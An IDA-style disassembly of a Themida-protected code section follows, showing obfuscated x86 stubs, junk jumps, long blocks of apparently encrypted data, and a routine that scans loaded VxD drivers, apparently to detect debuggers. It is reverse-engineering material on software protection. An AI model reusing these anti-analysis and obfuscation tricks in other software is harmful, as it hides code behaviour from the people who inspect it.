sub_5D874C proc near ; CODE XREF: Themida_:005D8740p
mov bl, ah
pop esi
push dword ptr [ebp+7A80055h]
push ebx
mov [ebp+7A82E41h], edx
pop esi
call dword ptr [ebp+7A81A99h]
push 0
push ecx
call sub_5D876E
and [ecx-3Dh], bl
sub_5D874C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D876E proc near ; CODE XREF: sub_5D874C+1Ap
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5D876E endp
; ---------------------------------------------------------------------------
dw 4DACh
dd 0F215C894h, 7E9B3C8h, 21000000h, 5208DF8h, 6AFF24h
dd 0D2195FFh, 0C08B07A8h, 6C5E6CEBh, 4ADC0323h, 0A675415Ah
dd 0FFD74EB5h, 5000BE51h, 67039C63h, 0EBE563A7h, 597542B4h
dd 0F04BBB97h, 0F22727C2h, 5FC0D932h, 1A25C20Eh, 46C578DBh
dd 44956B22h, 0BA09DFD3h, 94AF4DA9h, 2DF557E2h, 61939EF6h
dd 0FF883E0h, 0AFFC8294h, 9CA8316Dh, 5DA64D56h, 0B2A909BCh
dd 4DC0776Ch, 6C08BFE0h, 8F7A8425h, 5F520437h, 0B0E969A0h
dd 60000000h, 0F6DA8C66h, 850F04C2h, 0Ch, 1895853Bh, 840F07A8h
dd 36h, 1E35853Bh, 840F07A8h, 2Ah, 379853Bh, 840F07A8h
dd 1Eh, 10C1853Bh, 840F07A8h, 12h, 0F2DBD83h, 0F0107A8h
dd 584h, 5FE900h, 0D08B0000h, 8B3C5203h, 88BAh, 784A8B00h
dd 840FC985h, 49h, 0F8C281h, 728B0000h, 8BC8030Ch, 518B1C59h
dd 8BD80314h, 0FC9850Bh, 1084h, 0FCE3B00h, 1782h, 0FCF3B00h
dd 0F83h, 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4E4D9D8Dh
dd 5B807A8h, 0FF000000h, 0BC361E3h, 29E9D0h, 2ED60000h
dd 5C40h, 8 dup(0)
dd 0E9000000h, 595h, 677C9B3Ch, 0A4B9DE7Eh, 0E5FA1DBBh
dd 24395EFCh, 6A7F983Bh, 65386D5Ch, 0A5745D72h, 0E7B49DB2h
dd 20F2DBF0h, 0A3422237h, 0ABFC275Dh, 0E5932DCBh, 350017C7h
dd 0DDF2E5B8h, 6A3522F4h, 5F2A2DEDh, 5A2532E2h, 11A00B06h
dd 0E5F2A641h, 172C4D1Ah, 596E692Eh, 0E1ACAB70h, 4D4A0F48h
dd 0BA9DB582h, 0B22DF81Fh, 0CDEF9A05h, 1ABFF10Eh, 0AB6532FDh
dd 0AB2D3EAh, 0BDACD2CAh, 0F1D4EC0Dh, 0EB216724h, 0F1D3594Bh
dd 87DCC9EAh, 594C0B41h, 0D3AC05D3h, 262DC574h, 32597178h
dd 0A18E8949h, 7BB1F74Ch, 81D358BCh, 0BC669C7Ah, 656CD358h
dd 0ADE6704Dh, 87D358BCh, 91D985F0h, 681BA8B5h, 5Eh, 17C766h
dd 7073AB35h, 0B64DD359h, 1EB9F4Bh, 12E1BA8h, 2C000000h
dd 150215C7h, 22C75AF3h, 768E7D2Dh, 0AF781C99h, 0D931EBECh
dd 9D34A108h, 4E877495h, 0F4C18C8Bh, 0D482FFDCh, 0FB9DD6C3h
dd 4E490BDCh, 0A055936h, 1BBBF49Fh, 5301E4FCh, 0F12A2F44h
dd 98653027h, 0DAFD9D80h, 14C7D9C5h, 19BB3803h, 70B6EC32h
dd 0B5BCD359h, 0EB04C994h, 4780D580h, 73A98790h, 79D35970h
dd 1A8D52D9h, 0B9DA8D79h, 0F81FBEA1h, 0F6A5DEE3h, 314916E1h
dd 0C08B8C4Eh, 0B7829543h, 0A2537572h, 0EF4E6A67h, 117C97AFh
dd 8A084466h, 180CB7D0h, 2A3A0000h, 7A9C1BA7h, 585A7792h
dd 31E8B913h, 0C3F20E26h, 0F0000000h, 0B0A772ABh, 0F1E6B598h
dd 0E8EFA926h, 0C8EAC91Dh, 2468D3A0h, 526D8527h, 941A3CE7h
dd 4C15C14h, 91865122h, 0D0C79679h, 1403D2BBh, 568CD227h
dd 5CD35893h, 0C7603D55h, 0B0F5E8A5h, 0ADC54064h, 400B0CCAh
dd 3C0710C3h, 0BF77F7D6h, 12E3C182h, 0C3885344h, 0EDB03FAAh
dd 1730C9EAh, 15C801ACh, 526A3702h, 0A7DF6852h, 0E3B5EE1Bh
dd 6F5C29F4h, 5945F329h, 0DAF2F9D3h, 73BEh, 72ABBC00h
dd 425501A6h, 77260921h, 43189560h, 8B456754h, 610A5342h
dd 2D76536Bh, 7322B11Ch, 2B557764h, 183FDC29h, 14C6804Dh
dd 365D75FBh, 0DA880F31h, 0B17C9B39h, 7E932AE4h, 5E273AF4h
dd 3073CFEFh, 15C73218h, 74AD3702h, 4ED35970h, 2BFC9AD3h
dd 7748696Eh, 1CE9B4A3h, 0D27EE904h, 1BA80198h, 0ADE3297Eh
dd 0B3D35964h, 17894ACh, 76000000h, 7A072ABh, 0D254651h
dd 7C696E2Ah, 0FBE79743h, 760DC33Fh, 0B5824D6Eh, 0EE27C09Dh
dd 915E292Eh, 23C49679h, 86A76176h, 0EB924EBEh, 8C07D2F3h
dd 33E574DFh, 5AF4928Bh, 503E6576h, 793F1876h, 495E7FA0h
dd 4C92B69Fh, 0D3590816h, 7F4151Ch, 11CE0C1h, 0C52A7DBh
dd 0DB011CD6h, 0FDBDD5DCh, 0ECAE2BF6h, 60DCFEEBh, 473228C0h
dd 6B547B93h, 86BFACABh, 0CBA8C0D7h, 0D60941h, 0A40F20DBh
dd 3D524515h, 0CA958254h, 3ADA8D4Dh, 6C31FC1Dh, 7760366Fh
dd 4AD9445Fh, 757A8F88h, 0B07B9C3Ch, 87CBCBE3h, 5AE3F09Bh
dd 159h, 0A072AB58h, 4FAD871Eh, 597A8819h, 5A9C18Eh, 91D7C410h
dd 0DB01449Ch, 75AE9BA2h, 1DEAB5A2h, 568F2805h, 987B9384h
dd 0D3BCD1C6h, 0B0491403h, 0E8B3A477h, 8F884A1Bh, 0FCDFF7C4h
dd 17503D5Ah, 0BB885344h, 8E49C6A3h, 444177BDh, 4047DB01h
dd 75BB541Fh, 0DB01443Fh, 0AF6D3E45h, 446096DCh, 5F66DB01h
dd 94DA733Eh, 0DB01445Eh, 2B445D64h, 0F92148C0h, 4340E2E9h
dd 85F00922h, 93F85DAh, 0FDB00CFh, 4D0DF008h, 7B2F354Ah
dd 0BEE3F0A0h, 57h, 0C11506BCh, 94467FD4h, 487680EAh, 224376E2h
dd 5C41A0Ah, 0C3CA5359h, 27A7B4D6h, 9A96396Fh, 0E51BA582h
dd 0AE535925h, 9D7ECE39h, 13654BA0h, 0B0D14F70h, 0DE277DC3h
dd 762DD358h, 1DEAB5A2h, 8073B863h, 72864C7h, 0E1B4EDF2h
dd 64859246h, 6F0E4Ch, 6500000h, 83D8C511h, 5970073Dh
dd 0EE060DD3h, 8C54A9EFh, 535ADB01h, 0DFCDEF88h, 6222A715h
dd 0D6886B83h, 6EA7ACC1h, 49E2ADAAh, 1F1CD03h, 0ABCCD3DBh
dd 0E9EEB093h, 0F259941Eh, 5F70DB01h, 0A2B565F4h, 0A272E38Dh
dd 66926FB5h, 0E198E2AFh, 0F55B2631h, 8C42EF7Ah, 0ABCCED5Bh
dd 0A4B363E0h, 46B15ED9h, 0C8B561F6h, 5C5EA582h, 8FA4ABEAh
dd 0C51106A3h, 0E4B592D8h, 0B4BBDB06h, 0ADAA6CE9h, 0E8EFAF98h
dd 38D0931Dh, 0E1DC36F4h, 0C792CB76h, 8E597E20h, 0A588A0C1h
dd 0C8CDE2F5h, 0B2CACD8Fh, 3D080FCFh, 32FD1AC0h, 2AED26B7h
dd 15844D94h, 6F90AE2Fh, 42D13C57h, 1601D790h, 485D7E4Bh
dd 0CD98BF5Fh, 0DF5h, 25DC3700h, 0DC7E29ECh, 223F0BBh
dd 16C704EAh, 19B93601h, 0E1B633FEh, 0EBAE2BF6h, 0F1A421ECh
dd 0FF9E1BE6h, 0CA900DD8h, 0D38502CDh, 0D87CF9C4h, 533CF4BFh
dd 0C381E389h, 4, 8704EB83h, 248B241Ch, 0E1895124h, 4C181h
dd 0E9810000h, 4, 5C240C87h, 68243C89h, 10C9h, 81242C89h
dd 4ECh, 242C8900h, 0F3476B68h, 0CD815D6Ch, 23642890h
dd 0E581E5D1h, 315EBAh, 15D9C581h, 0EF89078Dh, 69EE685Dh
dd 24890000h, 24048324h, 0E6685D04h, 89000076h, 458F243Ch
dd 242C8B08h, 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch
dd 835F2434h, 94E904C4h, 0C4FFFB05h, 798EB842h, 0C50307ADh
dd 5E98E0FFh, 15146DA1h, 6E9B51CAh, 301A150Ah, 0B6F1379Eh
dd 5D3102F0h, 28042A3Ah, 0E12421DDh, 391C71CFh, 0CEC31FD5h
dd 8F2D0E83h, 44E433CAh, 4C2968C3h, 22362ED9h, 0DFC423F3h
dd 71742736h, 687D37FEh, 0AE3E61AFh, 76454659h, 0F21A09B9h
dd 0BCFB431Fh, 0BFF50B3Ah, 11E9226Dh, 1B4F6D6Ch, 0D1174176h
dd 0E107B18h, 80E93918h, 85C58F6h, 73BE5FD1h, 0D665118Ah
dd 8D8D3AC2h, 7AD7B51h, 9E8h, 894FFB00h, 4472EE84h, 858972C6h
dd 7A82685h, 318D895Fh, 6A07A817h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0D465C351h
dd 681DFD5Bh, 8160C621h, 54085ED3h, 0C761F526h, 0A80A5985h
dd 628807h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 0CDEC3E72h, 818A7085h, 76A7B4F6h
dd 3985C746h, 7A809h, 0F000000h, 284h, 0FF88B600h, 0A82641B5h
dd 61BD8B07h, 0FF07A835h, 0A81A9995h, 0C9950907h, 6A07A807h
dd 2195FF00h, 8B07A80Dh, 6119EBC0h, 0F239826Bh, 2CBA0A64h
dd 7D34DDD7h, 0D6573D7Eh, 862BAC35h, 78802DC7h, 192E9h
dd 20800F00h, 60000000h, 6541D381h, 13E904CAh, 0D8000000h
dd 321AC215h, 0A4C98731h, 2CA821F2h, 0E753CBDDh, 8D61A964h
dd 0AD7C44B5h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 858DFCA4h, 7AB4AF6h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 49C35242h, 60554E23h
dd 0E85FF853h, 6, 3E5FB06Fh, 810FBAB7h, 0
; ---------------------------------------------------------------------------
pop edi
popa
jg loc_5D9076
jmp loc_5D9076
; ---------------------------------------------------------------------------
db 0D5h, 60h, 24h
dd 43AB19A8h
db 7Dh, 0A3h
; ---------------------------------------------------------------------------
loc_5D9076: ; CODE XREF: Themida_:005D9062j
; Themida_:005D9068j
pusha
pusha
jbe $+6
mov ebx, 4771422h
popa
mov edi, 23DF113Dh
popa
call eax
jno locret_5D9099
jle locret_5D9099
cmc
locret_5D9099: ; CODE XREF: Themida_:005D908Cj
; Themida_:005D9092j
retn
; ---------------------------------------------------------------------------
jmp loc_5D90AD
; ---------------------------------------------------------------------------
db 10h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 44h, 0B9h, 0CDh
dd 3728F4F0h, 4E1DF3A7h
db 6Fh
; ---------------------------------------------------------------------------
loc_5D90AD: ; CODE XREF: Themida_:005D909Aj
mov cx, ds
push 0
push ebx
call sub_5D90BB
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D90BB proc near ; CODE XREF: Themida_:005D90B3p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5D90BB endp
; ---------------------------------------------------------------------------
cdq
mov dh, 0BBh
pop eax
sbb [ebx], edi
jmp loc_5D90E6
; ---------------------------------------------------------------------------
dw 1754h
dd 804791FFh, 0B00C2A92h, 0A774A672h
db 0E6h, 3Eh
; ---------------------------------------------------------------------------
loc_5D90E6: ; CODE XREF: Themida_:005D90D1j
test cl, 4
jz loc_5D9128
cmc
mov edi, ebx
mov ecx, ebx
xor al, al
loc_5D90F6: ; CODE XREF: Themida_:005D90F7j
scasb
jnz short loc_5D90F6
sub ecx, edi
neg ecx
sub edi, ecx
mov edx, edi
dec ecx
mov ebx, ecx
jmp short $+2
VMMCall VMM_GetDDBList
loc_5D910C: ; CODE XREF: Themida_:005D9126j
or eax, eax
jz short loc_5D9128
lea esi, [eax+0Ch]
mov edi, edx
mov ecx, ebx
loc_5D9117: ; CODE XREF: Themida_:005D911Bj
cmpsb
jnz short loc_5D9124
dec ecx
jnz short loc_5D9117
mov eax, 1
jmp short locret_5D912D
; ---------------------------------------------------------------------------
loc_5D9124: ; CODE XREF: Themida_:005D9118j
mov eax, [eax]
jmp short loc_5D910C
; ---------------------------------------------------------------------------
loc_5D9128: ; CODE XREF: Themida_:005D90E9j
; Themida_:005D910Ej
mov eax, 0
locret_5D912D: ; CODE XREF: Themida_:005D9122j
iret
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5D9139
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D9139 proc near ; CODE XREF: Themida_:005D9131p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5D9139 endp
; ---------------------------------------------------------------------------
db 6Ah, 0B2h, 2Fh
dd 40B8EF92h, 0DE972h, 0DB3C0000h, 0F7736F4Ah, 29D59F3Eh
dd 0E99FFF25h, 7, 1F1D8AE0h, 0C7A73AADh, 0AD7C9F85h, 1013F07h
dd 6E800h, 0B0650000h, 0C02E28B5h, 128E0Fh, 0DE90000h
dd 0AB000000h, 0CBFFF1C0h, 0BC8B0F35h, 0E309263Fh, 69D6805Fh
dd 635AC781h, 0D08B0000h, 0BBh, 348BF900h, 11E91Fh, 4F950000h
dd 2ABC2803h, 0BFEF6F76h, 5A3E041h, 817A3705h, 0C9C49EEEh
dd 6890F77h, 52000000h, 0BBCB866h, 0EC68159h, 607D235Dh
dd 62F28166h, 0C6816149h, 31DB70D3h, 0BE2FF081h, 665636CAh
dd 0A597CA81h, 0FC1F048Fh, 839BC080h, 800F04EBh, 3, 8163D980h
dd 0FF9D3CFBh, 97850FFFh, 0F8FFFFFFh, 60EBh, 17h dup(0)
dd 6FE90000h, 0E900000Bh, 0B63h, 0AD85EB68h, 18DE907h
dd 6268FFFBh, 0E907AD87h, 0FFFB0183h, 0AD87C268h, 179E907h
dd 0CD8EFFFBh, 8CCB5CAh, 4711FA0Fh, 84523B50h, 0C6957E93h
dd 1BAEBCD1h, 0B7CCCB8Ah, 0F70C0BCEh, 394E490Eh, 74898E50h
dd 79AFF594h, 7FCBABF2h, 10C737E5h, 85883C07h, 9FD8C5D2h
dd 4613DEF9h, 7C1E072Eh, 4613905Bh, 4E098651h, 50DF88B0h
dd 0E708C7A7h, 2BFC9F1Ch, 0BFB2D06Eh, 0A5B4447Ah, 0FFECB984h
dd 594383B9h, 618289D3h, 5D7A1996h, 56411592h, 4D4A0E8Bh
dd 0ECB0E982h, 3B5320EBh, 0A6938458h, 43D50B51h, 0D4DBD359h
dd 0B4A1DFBCh, 0E51E7360h, 0F2382532h, 0D35943BCh, 0B3A3BBC2h
dd 0DB06C12Eh, 7402D34h, 0C3A4A955h, 114FB06Ch, 2531DBF0h
dd 8CBE04F1h, 53DB06DEh, 915C7B1Ah, 0E5ECACC4h, 2F1CBFF8h
dd 6DEB3E9h, 91B2B9DBh, 0CA039C79h, 9ABD5D0Ah, 0DC7E6179h
dd 0C7BAA6BBh, 8D8A5017h, 34CD986Ch, 0FBA559FBh, 5C6DC3F9h
dd 0AF95ADCEh, 3A472ABh, 0AE7B4651h, 9345C28Dh, 0A74B6384h
dd 0F7E0B4ACh, 978302D6h, 0B3A472ABh, 0F5A79B9Bh, 0FE371EA7h
dd 0A16E395Eh, 4C6D89h, 66B0000h, 7BB1F713h, 81D35970h
dd 11478D7Ah, 17D35970h, 0AB1BEF10h, 59702F65h, 19BDF6D3h
dd 1F26E6FEh, 1056AB4Bh, 0D35970DAh, 91C70DE0h, 97D35970h
dd 58576F90h, 215C71Ch, 6689AB2Eh, 44BE2E3Ch, 5CF071Fh
dd 4B6Ch, 1306AE00h, 7F89B72Ah, 0D2F31C92h, 156ABFEh, 597085BBh
dd 0B3848BD3h, 5F2CF7E0h, 70215747h, 61E6D359h, 7A9D3B74h
dd 925B49AFh, 0A1934023h, 3C74C680h, 0F1DC903Ch, 6FABF3D9h
dd 2E0215C7h, 80568F72h, 710C697h, 71576F3Ch, 0D8C51106h
dd 0B2E82E83h, 0B8D35970h, 0BCA999B1h, 0C2DB0199h, 0B6ACCEBBh
dd 65177E76h, 0F9836078h, 0DB01F4BFh, 0AA56C1DAh, 0E3FF7DE0h
dd 16E39h, 10063700h, 6593D9C6h, 6BD35970h, 7A1C9964h
dd 0D51B705Dh, 0D359709Fh, 5F869EA5h, 0DCC055Ah, 94723F0Ah
dd 0D359705Eh, 5F455D64h, 2C0017C7h, 13064DCDh, 9783EFC3h
dd 0A7F590AAh, 1C291Eh, 6270000h, 0ABEFC313h, 59702F65h
dd 5A2E35D3h, 15C76FABh, 0A8722E02h, 166Ch, 1306AE00h
dd 65ABEFC3h, 0D359702Fh, 0AB9B6FF4h, 215C76Fh, 6A8722Eh
dd 93D9C610h, 0D3597069h, 209D686Fh, 336C597Eh, 0FF5ADB63h
dd 9FFC3E22h, 533F667Eh, 2C0017C7h, 13064DCDh, 448A4113h
dd 0D359700Eh, 21EC0D14h, 835F3354h, 0A672AB97h, 74DE6B1h
dd 0D35970D1h, 97AFD0D7h, 0A7F5A397h, 6B161Eh, 6140000h
dd 2E982A13h, 92943160h, 72AB9D71h, 9E9DB5A2h, 78AEF449h
dd 7ED35970h, 396F5F77h, 3FD35970h, 0C4E8FC9Fh, 4E6FC90Eh
dd 0DA89AB7Ah, 49ADA254h, 789F3D0Eh, 0C9C8E0ADh, 7C9B3B74h
dd 0E6CCE4B1h, 791D56ABh, 704A805Eh, 4950D359h, 898E4E31h
dd 889ABB5h, 0F8CBD0FBh, 12DC142Ch, 0B5A272ABh, 0C7051DEAh
dd 36h, 0C3130609h, 2F65ABEFh, 0F6D35970h, 70255BA1h, 242BD359h
dd 0B2860B0Ch, 56AB6FABh, 8E597E1Dh, 70ADE3C1h, 0ACB3D359h
dd 7713FF2h, 38502FEFh, 0BC908755h, 72ABA872h, 1DEAB5A2h
dd 0C9C705h, 6090000h, 93D9C610h, 0D3597065h, 1C99646Bh
dd 154B917Ah, 0DCD35970h, 59706096h, 0B15F66D3h, 618DF0AAh
dd 41C6E055h, 0A6113320h, 6E686E9Ah, 2B2CCA30h, 0E1D78071h
dd 0C7B6A2C9h, 8D8A5017h, 0D4F5C2h, 13064DCDh, 8B564113h
dd 77B09DBEh, 1BE8B3A4h, 550C8D61h, 0D7EF1C8Eh, 0AA9783F1h
dd 1EA7F590h, 4C4B0D46h, 301834h, 6160000h, 0ABEFC313h
dd 98B0A772h, 701D5399h, 0ABE4D359h, 7A1AEBECh, 0ADC5925Dh
dd 0AB12E6EDh, 215C76Fh, 0A572AB2Eh, 98629AB2h, 2E6Ch
dd 72ABAE00h, 1FECB7A0h, 87F06307h, 62A8B0E0h, 0CEA2C307h
dd 702F65ABh, 6FF4D359h, 156AB9Bh, 597085BBh, 6C848BD3h
dd 215C786h, 0C7A8722Eh, 9C350017h, 4C4B0E47h, 0A0D6B481h
dd 0A6D35970h, 0F7A4879Fh, 0C28EFA47h, 52739B12h, 5CFF383Dh
dd 9E40233Bh, 0C015AE79h, 5929447Ah, 2B434AD3h, 5929033Bh
dd 0D03BE8D3h, 71869141h, 0E4F54A6Ch, 0A28A41BDh, 30F7A78Ah
dd 3C54D569h, 96F7351Ch, 0BCDDAA75h, 0D47B70F1h, 0FB9B2A95h
dd 22CDEFDCh, 0B79DEA73h, 95CB11FEh, 9BD35946h, 0AB557C94h
dd 0B0E4D1AAh, 3249D1ACh, 0DAA5B261h, 0B9FFEC0Dh, 0DB0101CCh
dd 0A5DECBD2h, 4D1AE5F2h, 94CE5835h, 0AFDB0101h, 0CB7F2B96h
dd 0EE3F06Eh, 24h, 0FA1DBAF3h, 56ABFCE2h, 5970DA10h, 0F81FBDD3h
dd 482B434Ah, 2CB68196h, 0D3596FF6h, 34C32EDBh, 74607562h
dd 350017C7h, 0C9B61EF7h, 6EE5283h, 645158DBh, 50686F2Bh
dd 3E967F29h, 54431851h, 0AF73D3Ch, 10E2AF18h, 18C1F73Dh
dd 0C0C7E2AFh, 104AD49Fh, 2BE2AF18h, 0B7FBA712h, 8AEB0259h
dd 2Bh, 0C6100688h, 0DAFDA0D9h, 577DC3C2h, 1ED35970h, 0F2730E5h
dd 0D5C2984Fh, 2F1C3D0Ah, 1B3324F6h, 2235E31Ch, 12C90Dh
dd 60B0000h, 93D9C610h, 0D3597069h, 427B686Fh, 806C8196h
dd 0B7A072ABh, 0C9071FECh, 187h, 8E5AD0F2h, 1D73A9EFh
dd 7279D359h, 0ED7D25B8h, 6913F64Bh, 91A9CA82h, 0C71F06ABh
dd 93F85DAh, 0FD35970h, 0CD0AF008h, 17C74Dh, 1EBCF113h
dd 0DFAAAD6Dh, 83DA5812h, 833D233Bh, 0F590AA97h, 0D461EA7h
dd 3CE9B44Ah, 0D85177B1h, 321FECB7h, 58E0B6ECh, 9DB5BCD0h
dd 2581h, 1F067F00h, 89ABF3C7h, 6F5D02Dh, 504F677Bh, 5909D40Ah
dd 0FFD3DAD3h, 11C76FABh, 0A8723206h, 2F6Ch, 1F06AE00h
dd 65ABF3C7h, 0D359702Fh, 64CA1F6h, 0D35970D0h, 0BBF1CFD6h
dd 0C1D35970h, 83A1A2BAh, 5AFBF333h, 0C69ABB13h, 11C76FABh
dd 0A8723206h, 0AC6717C7h, 0AC4674F4h, 653027F7h, 82567798h
dd 72AB4DCDh, 0CE5917A7h, 7A6A1921h, 0BA9D4159h, 9B4B6D5Ah
dd 4FFE6345h, 0B5ACEDC6h, 0AFD0666Fh, 56ABB197h, 5970DA10h
dd 0C1D9E0D3h, 90AAAE9Ah, 291EA7F5h, 54h, 0C3130627h, 2F65ABEFh
dd 35D35970h, 72AB5A2Eh, 1DEAB5A2h, 70B4EA30h, 0B3BAD359h
dd 0AB609C9Bh, 0A819A572h, 1D1B7023h, 0C3905B7Ch, 314C8ABh
dd 0CE8AF416h, 195B6852h, 0C3905B7Ch, 72A48AA2h, 0BEF43A8Fh
dd 0C4D35970h, 2E29ECBDh, 246C3016h, 0AE000000h, 2C2A1306h
dd 6FE0F48Eh, 0AB4C2041h, 59702F65h, 9B6FF4D3h, 15C76FABh
dd 72AB2E02h, 1DEAB5A2h, 0C703CD05h, 0DF180512h, 84511C3Bh
dd 0CC058F6Ch, 6FD35970h, 8F4CDB46h, 0C7877388h, 0C3180512h
dd 5970477Dh, 2E464DD3h, 6007D451h, 0B07B9CBBh, 19CCEEEBh
dd 3936E17Dh, 0F9647F97h, 1CD7F94Eh, 0C369E455h, 52B6ECCAh
dd 0B5BCD359h, 0FA1DBA9Dh, 5CF6EFE5h, 51F0D359h, 0F9FE1922h
dd 1B503E5Fh, 0FB1BA715h, 370215C2h, 0DBFC996Ah, 0F2B4310h
dd 0FFFFFE39h, 7080BA0Dh, 9C56D359h, 72D35970h, 0D359703Bh
dd 5970D711h, 7073ADD3h, 0F49D359h, 31935970h, 0BD03F024h
dd 9B0469FCh, 9730FB02h, 0E8FF5375h, 38E6CA2h, 0B16B729Bh
dd 61795F18h, 9CC58BDh, 0DE00ED0Eh, 6AAF06E7h, 0B4B3CB5Ah
dd 0AC0D296Eh, 7BCEF0A2h, 0DA4F4342h, 0D1D898B0h, 1B9927D9h
dd 653DD23Ch, 2E7h, 71C3BDCh, 44597E1Eh, 859ABD5Bh, 0C4D9FE9Ch
dd 0A1F38DBh, 5D8CDFCh, 4514FD12h, 87543D52h, 0C0927B90h
dd 43E2C2D7h, 0ABEBC7FDh, 8533CDCBh, 130017C7h, 0AA6D3ADAh
dd 97748CADh, 2B18FC59h, 53B81D6h, 0BD35970h, 0C7FCEC04h
dd 0CDDB06EEh, 81BBB1C6h, 48DB06EEh, 832ED226h, 2EFBC6D1h
dd 90072F74h, 9343D478h, 13D760A6h, 0D6DDE2B4h, 0F93F94E9h
dd 0E2B413C3h, 7AB0F6C9h, 80E2B413h, 5D405879h, 58AD9ABDh
dd 0B413DC12h, 0C3DBE2E2h, 0F4E3B39Ch, 136D9F29h, 868FE2B4h
dd 0EE1B614Eh, 0F4EA6191h, 72AB00EDh, 455205A2h, 0C18CAD7Ah
dd 59F9DCF4h, 0B6FC513Eh, 0EA619280h, 0E10D197Ah, 1DCB316Ah
dd 0EED7FE16h, 0BFD87B2Ch, 0AA58E205h, 0D2EE7CDh, 0C3130442h
dd 0F45F90D6h, 5E65F20Eh, 0C23D4F71h, 98A1E705h, 9AB2D3C4h
dd 0A5967FBDh, 22D6110Eh, 75628314h, 2235E720h, 82728A57h
dd 0F9BC20FDh, 21F73003h, 21225836h, 2128F9BCh, 3FDA1300h
dd 81A2B568h, 2E2FE9B6h, 0A86F604h, 7BD0CFE7h, 0BC879042h
dd 0B27D9A3Fh, 0C9ACC4E5h, 10F90E09h, 0F47E494Eh, 0F9BBB3BAh
dd 0AE9B7BDCh, 0BF5B3759h, 0D1C32023h, 79461106h, 1B504058h
dd 0E20169D0h, 0D011478Dh, 10170169h, 663138F8h, 0FAE72F28h
dd 11E59FB4h, 0A69EA509h, 0C6F1157Ch, 700EE67Bh, 65000001h
dd 0A58EA3B4h, 0E2CBE0F7h, 230C2136h, 624B6077h, 818FA4B3h
dd 99BE5D48h, 0DBFC9B84h, 1F38DDC6h, 6671210Ah, 8CD27151h
dd 0CBABE956h, 614C25Ch, 92D8C511h, 0DB06EE5Dh, 53915C63h
dd 0D02512C2h, 6EE548Ah, 3B535ADBh, 0F9F5F63Ch, 44FBE2AEh
dd 6C648592h, 0FC1CE85Ch, 101EF68Bh, 5000001h, 452E4354h
dd 826B8097h, 0C3ACC1D6h, 2EB0017h, 212F4453h, 395EFDA8h
dd 7B9C3B24h, 0BFD87D66h, 611C1AAh, 2C7211F1h, 0CBABE8F6h
dd 0ABB462FCh, 0C07EF889h, 921D4C0h, 0A474F065h, 83A592B3h
dd 0BC95D8CDh, 6051D97h, 6A493C0h, 0C79299DBh, 7A8F884Ah
dd 0BD6C191h, 3ADC48CDh, 6485521Dh, 21A83177h, 0A7AEE2B4h
dd 0ECEBA992h, 2D2AEED7h, 6FA5EB40h, 75E2B421h, 462F566Eh
dd 459A8790h, 834E490Ch, 21A2D8B6h, 0A1A8E2B4h, 0DA796289h
dd 0C497D0BDh, 233B08D3h, 574013FCh, 99BE5942h, 0D9FE9B84h
dd 1B5197ECh, 21E2B421h, 0F2DB021Ah, 39223720h, 0BA64799Eh
dd 468C795Dh, 0EA619EBDh, 74F1BCC3h, 8FC8B5A2h, 6801CCCBh
dd 619DEC22h, 0CAEBF2EAh, 34478BB2h, 70000000h, 9E9FD51Bh
dd 2066EA61h, 0EA619DEAh, 343BE9F0h, 25DC361Ch, 82C6BA03h
dd 0E38224BAh, 0CF8A44F4h, 0E81E646Ah, 0EED358F9h, 290CC6E7h
dd 0F69FF1FBh, 0C702E800h, 0B9360116h, 0B633FE19h, 0AE2BF6E1h
dd 0A421ECEBh, 9E1BE6F1h, 900DD8FFh, 8502CDCAh, 7CF9C4D3h
dd 3CF4BFD8h, 81E38953h, 4C3h, 4BA5200h, 29000000h, 1C875AD3h
dd 89565C24h, 4C681E6h, 83000000h, 348704EEh, 3C895C24h
dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 81240C89h
dd 4ECh, 24148900h, 5959B5BAh, 0D7EEBF4Eh, 0D7295606h
dd 0C8B545Ah, 4C48324h, 8418F57h, 592434FFh, 4C481h, 3C8B0000h
dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0FAF636E9h
dd 0B8A7F9FFh, 7AD88F7h, 0C38BC503h, 1C8E9h, 8 dup(41888800h)
dd 4 dup(0)
dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h
dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h
dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
dd 0
dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h
dd 88888808h, 88h, 0
dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h
dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0
dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
dd 300h, 14h dup(0)
dd 8C200h, 80757266h, 0FEh, 11h dup(0)
dd 353E900h, 0E8550000h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7AD8B5Fh
pusha
mov dword ptr [ebp+7AD8AACh], 0
cmp word ptr [esi], 0A166h
jnz loc_5D9FF4
mov dword ptr [ebp+7AD8AB0h], 6
jmp loc_5DA018
; ---------------------------------------------------------------------------
loc_5D9FF4: ; CODE XREF: Themida_:005D9FDFj
lea eax, [ebp+7AD8AB4h]
push eax
